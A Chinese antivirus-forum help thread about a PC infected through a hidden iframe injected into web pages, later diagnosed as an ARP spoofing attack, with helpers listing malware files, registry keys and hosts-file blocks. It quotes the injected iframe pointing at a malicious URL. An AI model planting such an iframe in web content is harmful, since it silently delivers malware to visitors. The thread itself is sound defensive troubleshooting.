瑞星卡卡安全论坛

在QQ上打开一个朋友的网站，打开后电脑变得奇慢，基本上动不了，用杀毒软件查杀出1200个病毒，杀了之后还是老样子，打开网站时杀软提示：发现 IE浏览器 访问恶意网址：http://www.dyoej.com/361.html 发现 IE浏览器 ，且打开网页都变形了，
下载是杀毒软件截图：（
系统也重装了N遍）无用呀，求大哥大姐帮帮忙哟，小弟先谢了！（桌面上出现恶意图标）


问题已经解决，这个是受到的局域网中的ARP攻击。用金山ARP防火墙就可以防住了，用瑞星的防火墙能发现，但是不能提供有效的解决。谢谢大家了。thank you very much!




用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

附件: b3.JPG

中了木马下载器了吧，其他盘有没有格式化？最好重新分区试试。你用大蜘蛛试试，我感觉这个杀毒软件不错！！！

哦，这个网关也截了，打网站很慢

仁兄也碰到这棘手的问题了， 应该要格盘重装系统，明天等着我的就是中了这毒的两台电脑。


正在找办法》》》》

不会吧，现在这人病毒很难除呀，硬盘里太多重要的东西，麻烦了

下载sreng日志工具：http://www.kztechs.com/sreng/download.htm扫描日志打包发来。

不好意思，由于电脑中毒后实在慢，复制1K的文件都要10分钟，现在才稍等能动一下，日志已经在附件中，麻烦大虾看看，给个方法，谢谢

附件: SREngLOG.rar

使用本版置顶帖的工具删除以下文件：
c:\windows\system32\murnnqhnyg\smss.exe
c:\windows\systemdebug.exe
c:\program files\common files\system\kb340748.cnt
c:\program files\common files\system\kb521832.nls
c:\program files\common files\system\kb601109.tmt
c:\program files\svchost.exe
c:\windows\system32\svch0sft.exe
c:\windows\system32\drivers\svchost.exe
C:\DOCUME~1\ADMINI~1\LOCALS~1\TEMP\~NSU.TMP\AU_.EXE

删除重启后使用SREng修复下面各项：

    启动项目 －－ 注册表之如下项删除：
[360safeman]    <C:\Program Files\svchost.exe>
[SVCH0SFT]    <C:\WINDOWS\system32\SVCH0SFT.EXE>
[KVP]    <C:\WINDOWS\system32\drivers\svchost.exe>
另发几个不处理的文件（小点的）打包上来。

好的，我试试，现在电脑实在慢，等下弄好打包上来，谢谢

C:\Documents and Settings\All Users\「开始」菜单\程序\启动\iphixhcxfh.exe
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动_ppsav\360safe.exe
再看一下这两个程序，如果有一并压缩打包发来。

这两个都没了？刚才那个用哪个软件删除？那些文件删除不了呀？？？

下载这个工具吧：http://bbs.ikaka.com/attachment.aspx?attachmentid=653828。

:default5: 好的，先试试，谢谢，电脑太慢了

我把下面的文件删除了，然后重装系统不会了，但是过一段时间又复发了。好像是专业针对IE6浏览器的，现在安装了火弧又好点了，还望大虾相助一下，QQ：747740728 （远程帮助我一下，谢谢） c:\windows\system32\murnnqhnyg\smss.exe
c:\windows\systemdebug.exe
c:\program files\common files\system\kb340748.cnt
c:\program files\common files\system\kb521832.nls
c:\program files\common files\system\kb601109.tmt
c:\program files\svchost.exe
c:\windows\system32\svch0sft.exe
c:\windows\system32\drivers\svchost.exe
C:\DOCUME~1\ADMINI~1\LOCALS~1\TEMP\~NSU.TMP\AU_.EXE

删除重启后使用SREng修复下面各项：

    启动项目 －－ 注册表之如下项删除：
[360safeman]    <C:\Program Files\svchost.exe>
[SVCH0SFT]    <C:\WINDOWS\system32\SVCH0SFT.EXE>
[KVP]    <C:\WINDOWS\system32\drivers\svchost.exe>
另发几个不处理的文件（小点的）打包上来。
此病毒还有特别之处，打开优酷或KU6，然后查看这些网站的源代码时都添加了，这个代码
<iframe src='http://www.dyoej.com


/361.html' width=100 height=0></iframe> 打开这些网页所以很不正常，都变形了

基本上看你的说明可以确定是ARP病毒，你可以从多方面防护。
1、装ARP防火墙
2、从你给的网址分析木马地址是hxxp://www.gnqdi.com/360.css
可以将以下内容加入hosts
127.1 www.dyoej.com
127.1 www.gnqdi.com
3、也可以把360.css文件加入软件安全策略中的哈希策略中

确实是ARP攻击，用金山ARP解决了。